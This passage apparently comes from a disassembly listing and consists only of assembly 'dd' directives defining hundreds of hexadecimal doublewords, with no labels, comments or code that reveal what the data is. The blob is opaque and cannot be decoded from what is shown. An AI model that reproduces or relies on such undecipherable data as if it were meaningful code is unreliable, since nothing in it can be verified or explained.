		dd 28DE08B0h, 9F3DEE40h, 3F859C3Ah, 8E36201h, 9803C0B3h
		dd 549908BDh, 0C0A8E3F7h, 0E7272Dh, 4038DE75h, 0D7482C03h
		dd 292E9C06h, 600436h, 229E0B7Dh, 6E75CAA1h, 0A794D000h
		dd 64F91FA8h, 5AF25Dh, 9EB4335Ch, 481E0688h, 53839000h
		dd 6C12513Ah, 9A6600CEh, 0F5C53174h, 0E200CB17h, 0DE8A1086h
		dd 0F2BB553Fh, 0F77000B6h, 9AA179DCh, 187F1C53h, 62A88000h
		dd 5FA98B68h, 32772439h, 79C50052h, 0DCAAD720h,	0DA3C900h
		dd 25DFDE60h, 0BCAB000Ch, 7D461BA7h, 0D600C79Bh, 0EB8B9DBAh
		dd 63BF76h, 61D4A55Ah, 0CCA88A52h, 1BE8C5B8h, 37E31818h
		dd 2F4579h, 8A353ADFh, 0EF388FC8h, 21D2500h, 0D74B3674h
		dd 0B6C600D8h, 83FDEE76h, 0CA3C01CEh, 0C91C000Ah, 0FCAC8AE4h
		dd 4450143h, 0F4D67B4Eh, 847C60F8h, 7E395774h, 0BF950F9Bh
		dd 11C01CBEh, 8E0AEAC9h, 1A351D78h, 0D3D900ECh,	0A1BAC75Bh
		dd 0A5CCA00Ch, 0C6B0A97Bh
		dd 0E88CF16Ch, 0E40037F0h, 31D71CA0h, 428335h, 55524C22h
		dd 29E15D9Fh, 54A26201h, 85E7EE14h, 7C83620h, 69B4A422h
		dd 0B1FEC063h, 0CA3EB6D6h, 0C986002Bh, 0E5CB0412h, 634F0054h
		dd 7F4779E2h, 4674D239h, 720B2D8h, 6D020096h, 0D05C9703h
		dd 4600C63Ch, 0C082745Ah, 3DFC9CFh, 472BCBB8h, 9FF82102h
		dd 41D3F2A4h, 0FA0A2400h, 1880FF59h, 807F48Fh, 80C0C6C8h
		dd 4F09649Ah, 326A003Bh, 1924D9AAh, 0C00D303h, 8E029BCBh
		dd 0C465F4h, 0B6813FFFh, 0AA86291Fh, 0CB2328C0h, 3B6512C5h
		dd 20603E14h, 45D050C7h, 0F9E7580h, 0E655611Bh,	6EA35D20h
		dd 6C00F374h, 11338EAh,	32C5C8h, 0B769FB99h, 94B51C4Dh
		dd 301F853Ah, 500F61DEh, 98E6A9h, 37AA96AEh, 90B8CDCAh
		dd 0C70373ECh, 0C87AF119h, 23180B0h, 0C35E171Ah, 6172033Fh
		dd 0B7F73D85h, 3EA430ECh, 0BD009FFAh, 0EFD525B8h, 7375027h
		dd 0A10ABA24h, 824F17DFh, 49599BCh, 41C73CE0h, 0F4F85Ah
		dd 775EAA3h, 45A0E69Bh,	260A7D00h, 3F77B5B9h, 0ACF71CD7h
		dd 0C6728E15h, 595A2858h, 0D7D3C00h, 611DA3B7h,	0F049EC86h
		dd 0FF44FE4Dh, 0B422D8h, 3C405C9h, 74E18B65h, 0E4ABD300h
		dd 6B34C5BEh, 162A3E6Dh, 0AD899680h, 0A8DEE6EDh, 0A6C12C01h
		dd 4217E9F9h, 0FE708420h, 0DF7601B1h, 20B2CEEAh, 0E969C09Ah
		dd 7BAEB805h, 7DC0FADBh, 258C42Bh, 0D91F6376h, 0DF60C03Fh
		dd 4C169EDCh, 0F70759FEh, 7723AE30h, 5C6BA8C1h,	0AF7AE2h
		dd 5420762Ah, 6697CEA0h, 82B57201h, 8175A68h, 9FE11C4h
		dd 375B5D2Ch, 50360C00h, 430C7CF2h, 0F4A2A7E0h,	2A14004Ch
		dd 351761F0h, 0D5B82B60h, 0E53A1879h, 0D50D00D2h, 49F4FAABh
		dd 9A0C009Fh, 54A92ECCh, 670FF23Ah, 230405Ah, 800F3F81h
		dd 41796486h, 1593008Fh, 6A9CECFEh, 591D0E2Ch, 3000129Bh
		dd 0F81FAE58h, 0D1030065h, 0CC1CC062h, 0C049D86h, 0F781244Bh
		dd 16975880h, 8BBC00B0h, 221D830Dh, 8C7B5849h, 9DBBF900h
		dd 0D3E1140Fh, 395E00E4h, 38495397h, 0CC0592DFh, 0FBCFE994h
		dd 0E6F6F980h, 63DB1EAEh, 0C00940B5h, 1CA7D1D3h, 78C11407h
		dd 9B7134AAh, 53F8C5FCh, 3D3A00A6h, 7749EE2Fh, 0F004674h
		dd 0F973FA95h, 0CB94CAh, 168BB8AFh, 712F5DB3h, 8BA4073Eh
		dd 80407DF4h, 0D6430356h, 0C9FC0033h, 2A7772AFh, 7B1DA480h
		dd 0E5C026CCh, 29CAF0DDh, 6AF700EBh, 0C77E3515h, 4507A5E2h
		dd 0A4285A9h, 27C96BE0h, 8C7F0733h, 5144F17Eh, 0F94CB95Bh
		dd 568E4A7h, 0C80E0600h, 44F251D2h, 66F40147h, 70AF9D02h
		dd 9E27DCBCh, 0DC00DA72h, 48FA1591h, 84C728h, 195513A8h
		dd 258D8810h, 99BE3306h, 48CD7Fh, 9C4D1C22h, 546EAFD7h
		dd 0D6746A00h, 0C519823Fh, 17E100DDh, 0FE0D53F1h, 0D00001B8h
		dd 5B7DB35Fh, 9BA0D2h, 947865B0h, 8575F570h, 0B6BEED00h
		dd 6932BCE5h, 0C4170ECCh, 63A03EBBh, 836D14C5h,	0D5389D00h
		dd 111698C8h, 20B56089h, 19FE369Eh, 9F039A7Eh, 51D38B5Ch
		dd 0E4F6B816h, 0FF1F69Dh, 0F8AFF937h, 0D74FA320h, 99001834h
		dd 9E61961Dh, 0CBA1D4h,	6C439047h, 0A60709A4h, 0F8B18200h
		dd 4F100541h, 0BBF0ABh,	0CF4A3466h, 9FDBA745h, 179239h
		dd 2236ED88h, 37327BEFh, 0A0C06C0Dh, 0B378DA0Fh, 0D8F3D900h
		dd 0DC87EC60h, 16B2F406h, 7C83B0Ch, 0AE485315h,	13935FC1h
		dd 94AFF0C3h, 1C00D890h, 0A11E1FE4h, 0EE1B24h, 8299E1C5h
		dd 0E8BEA28Dh, 0BCD99C00h, 0EF6A93D2h, 607E11h,	0B5627E72h
		dd 10E4215Ch, 99838C00h, 0AADDA0ADh, 11150007h,	1CC17DF0h
		dd 0FC00A1A5h, 8D8EB5CDh, 3AC378Ah, 0E151E347h,	86D856BDh
		dd 77005D17h, 25D7EAC7h, 0D95E42h, 0AFE96E1Bh, 82712A8Ch
		dd 0B20BA20Bh, 0FFEA005Dh, 2F1EBCh, 0D7ED0C72h,	6AA6E32Dh
		dd 546DAD00h, 858918DDh, 0FC930069h, 81826E91h,	0F5002CC4h
		dd 8086F9B4h, 795D48Bh,	9D601218h, 134310A1h, 7F740174h
		dd 0DCB16807h, 82402881h, 0B87083h, 752AAC91h, 933187A7h
		dd 0C0611900h, 0D25292D1h, 0D60E0079h, 1B0AE9DFh, 0FF1C064Dh
		dd 1940362Fh, 9C14CB5Ch, 0ACE2B8h, 0C28F9F45h, 0EB8E2E1Bh
		dd 803A883Ch, 355BB62Dh, 0C0A0C3h, 425634Bh, 0C1E5E88Eh
		dd 9E87CF00h, 40E957D5h, 0CCE70018h, 0A62E6EDCh, 1C3F84B8h
		dd 3E7B0412h, 0A980407Fh, 0F761797Eh, 0C635E0h,	34E3C7EDh
		dd 5C89A36h, 0DCDBBF07h, 0C4D09858h, 0D4E30h, 531E6C73h
		dd 9CA71566h, 79CE9700h, 13777EFh, 9E183C44h, 3A437F07h
		dd 1D15E008h, 9700C136h, 4FEDD7CDh, 0AAF226h, 997A908Ch
		dd 0FD2A9AD0h, 7295EF07h, 213065B9h, 0BE5A6Dh, 48095E73h
		dd 0A437A16Ch, 0C01F6600h, 8D683693h, 583512F6h, 261C40CEh
		dd 24F87DFBh, 2A84A300h, 82EA5B34h, 0F4913BB3h,	0A8F62100h
		dd 0ABAEA9FFh, 0D4C8D24h, 7DEF2E07h, 90D1D703h,	324DDEh
		dd 245A3555h, 0E35EEAF6h, 0BD903B00h, 77B95983h, 4B331FDAh
		dd 67210079h, 34F3C091h, 0C200B6E4h, 0C5D16519h, 269AF217h
		dd 1EBDEE28h, 83C14077h, 4662E3F3h, 715A4000h, 1382890Ah
		dd 4B1B9860h, 1830ACC7h, 0BD96DFB6h, 10A80A79h,	0F8B88Fh
		dd 0ADA03D6Fh, 9500219Dh, 2BD7E3CBh, 3ADF7Ch, 8BC1AE3Fh
		dd 46A068F1h, 7438C607h, 4E00EA03h, 5C416031h, 0A9077EFBh
		dd 80917380h, 711396BEh, 54745800h, 5D152BD4h, 38B71F29h
		dd 0BF874FD1h, 0EB523400h, 85502325h, 0CC00F8D5h, 0E31164BBh
		dd 7B56B13h, 7C959232h,	0AE7FB00Dh, 0B21D5DEBh,	284E0C6Ch
		dd 0C9DB00D8h, 26D968h,	0E0FA357Bh, 385F6BFBh, 0AB190A03h
		dd 0E0EBC4A6h, 5026F3EEh, 3867883Dh, 800BD22Bh,	8880BF39h
		dd 0DBD437A3h, 9C595700h, 45499675h, 9F210553h,	80836B2Bh
		dd 1CA54CDAh, 0C409A1Ch, 0FB360A00h, 9C2FE0h, 17CD7090h
		dd 4822E112h, 341EED75h, 3A013D25h, 0D041943Bh,	0C1602080h
		dd 744F28A9h, 84BBBC0Fh, 0A705E06Bh, 0EF59434Dh, 7BFCA831h
		dd 0D56400D2h, 0CBCDD348h, 0D0008D83h, 240C7860h, 1C17294h
		dd 0A7599558h, 60DA28AAh, 0A1005ADAh, 63455C90h, 74033AD4h
		dd 76A1E8Ch, 0DE82009Ah, 90FDF47Ah, 38CC2C30h, 183FC1ADh
		dd 0A1D18BBDh, 44A042B9h, 35001C95h, 3461BB66h,	2A36056Ah
		dd 0A4CD27h, 734F5384h,	0ECB3FB02h, 0E24D212Eh,	6AEAAC00h
		dd 161C8CAh, 8F938B99h,	0CF71A60Dh, 3D690A7h, 0F500F326h
		dd 44EC5666h, 7F8DBBh, 2AB46EDAh, 0D677A670h, 0FAC3C13Eh
		dd 86A1D501h, 6D89C932h, 9A3BD0h, 3025A48Ch, 0DD4BA0CDh
		dd 0EF002C74h, 0A564556Fh, 75609D1h, 211F8158h,	0A73AB0F0h
		dd 8D014E37h, 7A9938E8h, 13ECC5D4h, 8107376Ch, 0C04207F1h
		dd 0C4909596h, 0D6E4A800h, 0DE49B8D7h, 22C2019Bh, 24D3A402h
		dd 34170A6h, 0F675A000h, 8B327EBAh, 823E0E84h, 6D80B34Dh
		dd 0D7FA1ACCh, 6A75EF00h, 0D57BE104h, 0B7330056h, 277E73Eh
		dd 4E3BFD6Ch, 716280BBh, 7044DCA3h, 6D3D0087h, 926C634Fh
		dd 0AE2C591Ah, 310EF786h, 0B5A4400Bh, 0E9A9997h, 71345A9Dh
		dd 3E79B600h, 6A1DB438h, 0D01E357Ch, 0C5C73D01h, 4FC91966h
		dd 0B0289880h, 0A2EDDC96h, 47075100h, 0CC8994DAh, 0DEAF034Bh
		dd 1B29CF0Ch, 34409EF8h, 0BC396564h, 73067180h,	0D55C3E98h
		dd 3CD8480Ch, 0E900BAA8h, 20D6B28Eh, 0A24C881h,	88E5EF55h
		dd 23E70684h, 0BC0A286Ch
		dd 0F41FB864h, 98F99F00h, 1D33AD8h, 9AE0D42Eh, 501D623Eh
		dd 0EDB0BFA0h, 5318A603h, 0C08E0386h, 3F18106h,	565EBC02h
		dd 0B6F8141Eh, 0C60E9108h, 256CA209h, 0C0404E82h, 98DDE51Bh
		dd 319B00FAh, 83D9D030h, 213DC1E0h, 763A0091h, 0A36AF7AAh
		dd 0E17A00E5h, 980FD8E8h, 530CEFA9h, 31C8AEE9h,	0F693134Bh
		dd 8A7300B6h, 416F576Dh, 684F4400h, 0B54EBBCDh,	0A27738h
		dd 0BEEA0106h, 1A74D88Bh, 5E323D00h, 5BC6CF46h,	0FDD9034Ch
		dd 44573E62h, 0BF994000h, 9895AE7Eh, 1FC7532h, 371A004h
		dd 0F823FB0Ah, 6400A9B1h, 0E060352Dh, 0EEE5B0h,	0FD8DF95Ch
		dd 3BC08933h, 9BC148C1h, 86E039B7h, 29F256h, 72FAE8EFh
		dd 6D1D5CA3h, 74CED103h, 1D4E4AF6h, 80939830h, 0CCF983D2h
		dd 8B60D68Ch, 4F90E3F1h, 8FE903CAh, 7CD42496h, 3CA5CEF0h
		dd 6D03F803h, 0B857DF14h, 0DF704D11h, 0EA9E4080h, 1D71BC6h
		dd 0F5E8C100h, 17730A78h, 9460009Ah, 54CE4CE1h,	0BB0E4BE7h
		dd 3E190EB0h, 2CB1D380h, 1CD4F63Dh, 405DF910h, 0FC17C6F0h
		dd 69021446h, 0A75199B1h, 0AD5C05Eh, 0D4F500BBh, 3C03926Eh
		dd 0BF005268h, 5AEFDFF2h, 0FE042BA8h, 4F9B0036h, 469057B6h
		dd 0C3613CF9h, 0B953FE38h, 74156D0h, 9F7F8EDh, 87C03FD4h
		dd 0C82B75DDh, 0E34FC500h, 0A3DCBDF5h, 0FC94325Fh, 2F413B28h
		dd 6704F8E5h, 19C67C30h, 0AA9325h, 39E15118h, 63DAD176h
		dd 21C13833h, 68CC90A6h, 4CCA3816h, 0D116E0Eh, 0FA86A7A0h
		dd 0E900859Eh, 97178702h, 71E70F8h, 9F75161Bh, 6F098001h
		dd 620331B8h, 11FBA5B0h, 0A06690FCh, 5B4B0BB5h,	5450A840h
		dd 4D8E8706h, 0A781A8Bh, 9D2279B9h, 0AF7C0098h,	0AD564FECh
		dd 80EB5B28h, 38660903h, 0E070D06Ah, 3D8D78F9h,	0A58BA794h
		dd 0CE80BB26h, 3D27F802h, 0E41C9100h, 124B0D97h, 4D030022h
		dd 1F38D021h, 0CC0056F4h, 423C06DFh, 0F4905287h, 60A503AAh
		dd 0D7AB9A30h, 0DDE816F0h, 0F9537203h, 0F87827FEh, 3659304h
		dd 0E7494256h, 0B7C0FCD2h, 4AEA749Dh, 5589F3Ch,	494C23F3h
		dd 82307E80h, 204EE188h, 0B48F3508h, 80C006Eh, 3459647h
		dd 0E241AA49h, 300E02C9h, 0FEDE8A56h, 72748880h, 3E240F0Dh
		dd 652EE74Ah, 0CF4830C8h, 0C9003414h, 151E845h,	0BDF1FCh
		dd 0C873B07h, 2B02FBD7h, 5C10801Dh, 784B3983h, 4AE3E8h
		dd 9A4388A0h, 0C94946BCh, 0B400B270h, 8B34C15Dh, 795261h
		dd 8A6073DFh, 824FE37Ch, 0FE14C579h, 0A441D5h, 7508F6DEh
		dd 7614B01h, 47F8FA6Bh,	0B99300AAh, 49004892h, 0EACC2503h
		dd 19948AEFh, 0B8AA268Ch, 0A783DB5Bh, 0B45A01B0h, 80AC4529h
		dd 749B1740h, 8D6BEC6Ch, 0BAD81200h, 562784Ch, 9C9E0D7h
		dd 0A982C15Ch, 0AADA9F04h, 9D872D00h, 70C5B4h, 0CC520580h
		dd 0D58DF145h, 0ECBA200Fh, 7A014066h, 260EE6h, 0F2DF8739h
		dd 0E3CD4058h, 6D5A2E07h, 8AB1CACFh, 80403554h,	14284E95h
		dd 20E5AF6Ah, 0CEDAABB3h, 0D630871Ah, 9B33C3h, 0FD547388h
		dd 10E51117h, 7FCCE350h, 4DF02F00h, 0EBA40433h,	0E0F56192h
		dd 435235B8h, 2FF8A8DCh, 0C61F5417h, 6CC0754Fh,	33AFFD4Eh
		dd 57881D29h, 20E000E8h, 3AD39B73h, 8D42F7Ch, 0BE007C00h
		dd 86126A8Dh, 58E698A9h, 307202B5h, 160A1ADh, 4B3A172Bh
		dd 0D2C86A2h, 0EA1851DCh, 705200F6h, 0F19CB515h, 8C3EE787h
		dd 0EE5E80C0h, 0B97C81C6h, 0C8278B2h, 0C7D225E1h, 15B88688h
		dd 0FF80CB00h, 597EA5F3h, 2C5CE247h, 0EB805ACh,	5E045619h
		dd 64E6C0D4h, 8B016F28h, 0E10FFA91h, 40C26DD7h,	3ECDEFh
		dd 4A5DE244h, 92E63F41h, 15B38h, 32AD9DD3h, 1C0F101Bh
		dd 9C0C1EC1h, 53620090h, 0E4B0C8CFh, 30CA1D31h,	3CE1154Bh
		dd 0C3608840h, 0BCE502CCh, 0EE1CB4E4h, 8AE19480h, 7900A65Bh
		dd 0E55F4E09h, 23E4F0Ch, 0E70FDAA7h, 0D8A0DF08h, 0FFC083E8h
		dd 0D90070B0h, 30586F7Ch, 0E6F1A5h, 0DE888976h,	55D15F7Ah
		dd 228F0B01h, 0A1A928CEh, 2495F4h, 0CCBAE6F5h, 0B5E2C9C2h
		dd 48073900h, 0D7A1233Bh, 11DD00B1h, 0EC4C4360h, 0DC600C81h
		dd 5F627230h, 0F82D1CC5h, 6992C0E4h, 6416258Eh,	0F389170Fh
		dd 41638075h, 0CD5599h,	0D31A882Eh, 4EEA58AEh, 0E1D73A00h
		dd 0AC75D011h, 0BC6D0016h, 650B4D23h, 0C700C2B5h, 0B8F38737h
		dd 5EE766h, 92727805h, 31B36A76h, 0CD2D101Fh, 9EE63687h
		dd 733EEEA1h, 3066F12Fh, 32002EE4h, 0D2FAC225h,	1271C36h
		dd 0F33C9F3h, 0CCB87108h, 5A035F2Ah, 0EED6F965h, 0E0CCB2DEh
		dd 0B5C529h, 448D1CFFh,	2537C2C7h, 0E2BAB10Ch, 1B0A98F7h
		dd 18C504B7h, 935CACF8h, 0E0008CECh, 0DF83650Dh, 30C35E7Eh
		dd 42C9AB92h, 0C97006DAh, 30C5A100h, 725D9916h,	273D0078h
		dd 0CBADC64Fh, 124B156h, 1300D5BAh, 5E0F717Dh, 8A5500E7h
		dd 0BC20175Fh, 0DC03402Dh, 0A14AA725h, 86091B93h, 0F5E9205Eh
		dd 7924D4A0h, 25F8FF00h, 486EFEDEh, 0C538003Dh,	0DA770673h
		dd 37015F9Ch, 0E70970BDh, 2FE44560h, 0DC08C661h, 0D7002027h
		dd 0AEE0D88Dh, 2DF7E3h,	0A10AAB62h, 606471BAh, 58899E30h
		dd 1E83C266h, 0C18EE85Fh, 0A8D144Fh, 0C520C4C6h, 9C985560h
		dd 3096687Dh, 0BF1188EDh, 0F4F0711Fh, 0A8D5C106h, 6408C0B6h
		dd 0C0AA21A4h, 2CA15795h, 0D6CFB707h, 13E07CDBh, 609F984Dh
		dd 31F828AFh, 0B7F25DD7h, 72E56600h, 6BBF50B6h,	0CEC10A42h
		dd 0A1CCCBh, 0F3E0C532h, 21DF773h, 6842C410h, 80895DFCh
		dd 4F76D548h, 2DCE1085h, 0EB6E80A9h, 0F09C23h, 0B5697C9Ah
		dd 0D0868F5Bh, 15BF5800h, 8C72516Ah, 270C155Dh,	0D823B449h
		dd 707B823Eh, 1944E8E6h, 176E10A2h, 0AC1E0371h,	39D0C629h
		dd 68F355C3h, 1259211Fh, 200A475Dh, 8380F471h, 0A622BD28h
		dd 0BFD900E8h, 0AB8D9CA7h, 32000F41h, 0EB4B4D9Bh, 1C879339h
		dd 13E42BCh, 5131D191h,	0F077F00Dh, 9B008BEAh, 5A2FEB04h
		dd 6057CBh, 0E50569DCh,	71786C13h, 3400287Ah, 7F3D3CFDh
		dd 2302D4h, 88EEBC0Bh, 0E011BE9h, 60F6C300h, 7C29BE2Eh
		dd 0E719389Eh, 0B524200h, 0F7DACF48h, 0A687AA00h, 0A84CA095h
		dd 3B0FAA9h, 2D2916D6h,	0DAD00830h, 3C009AA4h, 0A16B054Ah
		dd 16CF35C8h, 0AE0A1824h, 46A4B107h, 0D2DE0E0h,	0F9593C77h
		dd 0B6870480h, 51F18A1Dh, 78748526h, 3B78C700h,	1D5D7A33h
		dd 404E8B2Eh, 6440B0AAh, 2007350h, 7D744539h, 3C88779h
		dd 0C17004E2h, 0F8D07AA3h, 91E6CC2Eh, 6332990Eh, 7F7E0087h
		dd 7E0FD170h, 0D3774Ah,	4EA1C5F4h, 0D030B554h, 0DA86E60Fh
		dd 0AFC4C007h, 0B777BEh, 0AEC98EC7h, 4737A459h,	4F12A701h
		dd 1F1C4A45h, 0A4CA860h, 0CFE08583h, 0FE6900C8h, 0C1363DC4h
		dd 7DA77E0Fh, 8F2C20B2h, 0AAA605h, 42C3E460h, 0F5C7A3BBh
		dd 0BFD61100h, 5B252FE5h, 5EBD000Bh, 0A56507F4h, 8D00856Eh
		dd 319B9582h, 394EA8FAh, 0BA0067A6h, 0CF6637DAh, 91004404h
		dd 0A2F5D4EDh, 0F4674F2h, 0D8E06DFAh, 7B1F8920h, 1C0E53FDh
		dd 4048FF47h, 3DCB5202h, 18B0F17h, 0A005467Dh, 0B3B303CFh
		dd 680106C5h, 893337Bh,	42F46385h, 0D37700A5h, 75CBFFD8h
		dd 0D400277Dh, 99B0FCF4h, 0E317FE4h, 8D74BDBCh,	0DDC17120h
		dd 87001408h, 0C945F916h, 6039F6A1h, 9FA5501Fh,	0F43A6534h
		dd 20430051h, 0C80B3280h, 0BB1900DCh, 72B32EADh, 9D48037Dh
		dd 4C017B62h, 544314EEh
		dd 0D5309EF8h, 1DA007Eh, 18A2C161h, 22070C85h, 33C7123Ah
		dd 0EBB90A50h, 0F0C1E8C3h, 1A161857h, 185231DEh, 54D6D31Ch
		dd 0CB950B40h, 39F5CD2h, 8BA51193h, 38009A63h, 6704B09Dh
		dd 0E2273Ah, 0B5D3317h,	53A66975h, 0FC45F14h, 1833A018h
		dd 97A13E7Eh, 46550F9Ch, 39407FE3h, 34F91F29h, 0C8C5560h
		dd 351240E6h, 7FE20203h, 0A7E0B120h, 1C2CA225h,	8A7D11D9h
		dd 311519C0h, 3C146070h, 950CA06Ch, 0A890F879h,	104CEDF5h
		dd 0AFED0005h, 0F6278EFh, 90C00BD5h, 53AB4CE0h,	92018DDFh
		dd 0E734B54Ah, 3D7C5707h, 27C0EC8h, 7507ECDFh, 0EB9502E0h
		dd 81C98A6h, 8160A053h,	0DF28EA14h, 5575F985h, 0C0102495h
		dd 0EC613B2Eh, 8A0B403Fh, 0DC5CD5FDh, 0F6B397D8h, 0C03154F4h
		dd 60BCA068h, 605AE96Fh, 6A1A3002h, 0A4804FFAh,	50419015h
		dd 4833C029h, 8DED9F81h, 0B8519A1Fh, 0A45E6E16h, 3310A70Eh
		dd 0B5C0F00h, 5493C7D5h, 0BCBF92E0h, 0B561C0ACh, 2050521Eh
		dd 2D81251h, 64B4E3A5h,	7EE9D904h, 95079F6Fh, 0A050C001h
		dd 4093E3A9h, 299B80C0h, 75E14005h, 0C0DC5157h,	9044F591h
		dd 24998355h, 619841B9h, 0CE80D143h, 0D3D4BCA8h, 574F4CE0h
		dd 643E144h, 0D8405047h, 0B9637864h, 7C0A8008h,	7C8E56C0h
		dd 91F447C0h, 0A0923A7Dh, 50B29805h, 7C6C5160h,	84BD0005h
		dd 0B5A41B8h, 295130F5h, 0D074F7B8h, 400886E7h,	2B486517h
		dd 0C08CE274h, 24F85E66h, 0FE28F8A4h, 74318C3Ch, 2819053h
		dd 695508Fh, 1F970C9Ch,	1B055A18h, 0CD23A051h, 16F3D806h
		dd 0CCDD2010h, 3E57C844h, 577F7B33h, 429CB0E3h,	3B8AB8D6h
		dd 4F4DB501h, 0C36CC43h, 3DB0C0E0h, 10DF3758h, 0A1E8DB1Bh
		dd 18982805h, 5D60681Ah, 1D51EA38h, 4006EC37h, 6108CE73h
		dd 5860185Eh, 0EB3098B5h, 0A0B8DE09h, 0C645669Ch, 1044C7D8h
		dd 0F0461F30h, 7451EDF5h, 204B6380h, 0E0C1CF93h, 3760BA35h
		dd 9DC40892h, 28B74D46h, 48B6BE31h, 0A041AF65h,	88901A02h
		dd 16637CC1h, 3143BB61h, 8088A928h, 9D06F21Bh, 70776B99h
		dd 7D61250Ch, 431B08DFh, 3751A6C0h, 4548B8E0h, 18CC1FC9h
		dd 90C008E4h, 301CDA58h, 0F0FF0821h, 3108B0A9h,	1B08DD27h
		dd 4F8C02DCh, 8E2E8158h, 30E84D58h, 7632956Ch, 495770D0h
		dd 0C4470A40h, 7A896880h, 64FC49C0h, 9E260DF0h,	3C05E424h
		dd 0F86A750Ah, 0F08079BDh, 5858DF70h, 2CD1007h,	0DB6E60C6h
		dd 599431D8h, 9D533C30h, 127CDF28h, 501C8640h, 0C050E818h
		dd 101E6278h, 0AC812176h, 0D17A9CFEh, 0C01837FDh, 751C3024h
		dd 1B4040D2h, 0CFE09C9Bh, 4D18B9C3h, 0BE181036h, 8CF6808Ah
		dd 47C0DCB3h, 484C40E4h, 150AE844h, 41109299h, 0DAB4C74Dh
		dd 14F5BCA2h, 0D4DF888Eh, 5C2680AEh, 0E6C0093Ch, 6C86800Eh
		dd 0F43178BBh, 421920B6h, 49A3093h, 84C5A058h, 1314C520h
		dd 28F418D4h, 0BA632660h, 2B5CE38h, 5CD72330h, 0C043BFh
		dd 0E249071Fh, 9606E410h, 28C94DF3h, 1ABC31D5h,	50295980h
		dd 7540E845h, 92586640h, 0E6B52C08h, 1BFBE064h,	0E9497522h
		dd 0EC5C2A40h, 7A74DD48h, 0C0E8A657h, 2495A298h, 0E77580ADh
		dd 14887848h, 188C3A8Eh, 3C4066D0h, 0C3549BDEh,	91A1195Ch
		dd 55E88A40h, 0CCF88C0Fh, 8FA1120Dh, 0C50C46E4h, 50577879h
		dd 6C08C088h, 9247B2C3h, 8D102C0Ch, 6F1F0EA8h, 6CF3BF85h
		dd 430C2278h, 783E8E90h, 816307F5h, 0EC99C5ECh,	48CE33E0h
		dd 280FF29Fh, 28DECA80h, 0B13B9FD1h, 0D5C9849Dh, 1CC28A43h
		dd 0C98BE3Dh, 0B9392E9Fh, 0C56FB5C9h, 0BE576938h, 5FFD0238h
		dd 5A42495Dh, 28DCE02h,	560538C1h, 84CA07Ch, 45AEE36Eh
		dd 79DC7504h, 88C04CA6h, 2290CCC3h, 48D5580h, 19810A5Ah
		dd 0F3908051h, 0DF285CD8h, 0FF24C4AFh, 0E01DB817h, 0F009D4D7h
		dd 0BFB0876Dh, 0F743EDBh, 3BB8A295h, 350F6283h,	20315DCBh
		dd 0AD806882h, 9D7FCC40h, 0A0570F6Ah, 0CBC1820h, 81204E8Dh
		dd 3F53C109h, 43C3E01h,	40B17C77h, 3B1505CEh, 986C1084h
		dd 477C08A6h, 0F50683DAh, 2C3071C8h, 0D28179Ah,	0F4E07A46h
		dd 5CE07F08h, 18504024h, 313EC8D8h, 0D55155D4h,	0C04880B4h
		dd 1FF40A99h, 0D8156619h, 988D4845h, 43663181h,	0C753048h
		dd 604814F7h, 0E00BCDA1h, 7CA4AE70h, 26130B5Fh,	4C2930D4h
		dd 9F0CC0F3h, 0E5181E79h, 7B324CBAh, 43BF081Ah,	3986C188h
		dd 3BBCB041h, 65128430h, 937D20ECh, 112054B4h, 0BAD2E02Dh
		dd 42CC3218h, 0CE92C08h, 0A0DC60F0h, 28B1D832h,	202C6178h
		dd 0AC0167C5h, 0BC188A3Eh, 0ED3CB041h, 8898008h, 28025520h
		dd 4850C21Fh, 96084D6Fh, 16BFE043h, 7CA01E52h, 96B23EC8h
		dd 9B636078h, 28359F91h, 0F88E33D8h, 0AD58CEBFh, 14CE8114h
		dd 0E6918Ah, 0B8747B95h, 0A0C051FBh, 4820F3C1h,	0B8AD505Fh
		dd 14CF2480h, 101E1808h, 0B35087C0h, 0C0A34D80h, 8C71A2E1h
		dd 0E8075430h, 0ACF950C8h, 7B30094Ch, 9C2251A0h, 0DC60D176h
		dd 0D0A060F2h, 8C677E7h, 48384EADh, 247E700Ch, 0FF41F87h
		dd 501929B9h, 4ED84206h, 79204440h, 401F0B7Ch, 80063A5Fh
		dd 6181EB1h, 3F5CD6B3h,	0DF3008BEh, 0CB60280Ch,	2CA0C479h
		dd 4609E43h, 1B83837h, 9A6DC0E4h, 0BCD74D90h, 0DBD40C12h
		dd 0C7CC07ECh, 548C936h, 4E17555h, 81767DACh, 8C59BC54h
		dd 0E066CF80h, 0C850D22Fh, 0D7686ED4h, 1FC32C60h, 13B5E357h
		dd 1CC83599h, 9E60138Ch, 0DBC20290h, 709E53F9h,	81A4AB18h
		dd 0D0415E9Bh, 88A7C33h, 12F412F7h, 3FF8059Eh, 0DFCC021Eh
		dd 0A885D92Fh, 599C7CE5h, 21446E12h, 0BDF5E8C0h, 0A10A07F0h
		dd 0C2662D72h, 0F84F419Ah, 0AB37C30Eh, 0D5F42290h, 9FD4C0E1h
		dd 3020FF24h, 403C64D0h, 0C0FC8068h, 709343E4h,	0F80873C0h
		dd 0B551C02Fh, 0C160B1D2h, 41748095h, 0E961DA76h, 95A04862h
		dd 16100B3Fh, 0E9165D32h, 164078DEh, 7FFD6904h,	0E00A5DE6h
		dd 9828D830h, 3D92BC18h, 56E155A8h, 879E3006h, 89954788h
		dd 2A35B083h, 0C1D4E6FCh, 0C683FD07h, 1501B02Ch, 10A09F4h
		dd 0FDC9F5B5h, 8161C026h, 0A00FD48h, 0B4A6B740h, 9C72160Eh
		dd 3874A63Ch, 0BCD14C0Ah, 40022E13h, 0CF08961Fh, 20FD0278h
		dd 9C708478h, 0C0B6F50Eh, 13CEE10Ah, 0C64A161h,	71E531A0h
		dd 0D3A53958h, 8C4A1CC1h, 3040DC78h, 2688B0B6h,	6189280h
		dd 0F0D69DDFh, 308ADE34h, 324048A0h, 67B8281Eh,	34201440h
		dd 80313C98h, 0DC00898h, 0C0E40C69h, 8A54FE51h,	0D5156090h
		dd 0E0C40B7Ch, 603246C0h, 0B50F1A8Dh, 0B0C59926h, 0A8DE063Fh
		dd 0E1C1870h, 40956908h, 166D405h, 0C4061FF5h, 3A3089E1h
		dd 2124EE8Eh, 96A187A0h, 641422Ah, 0EB895C43h, 92E8937Ch
		dd 1860C80Fh, 0BB84008h, 36BFE5D0h, 83A09882h, 0EEE33863h
		dd 12F482CCh, 53C2A0A3h, 1F5D1014h, 58219C0h, 98601450h
		dd 9C64FDE0h, 0C018C990h, 7C3C4F09h, 87945A04h,	7509E4FAh
		dd 0F0B81008h, 8D13E8B1h, 9446E582h, 5A80E493h,	0C3807840h
		dd 0B1907512h, 0E5356844h, 650518B6h, 0D1F5DC5Eh, 64E115E8h
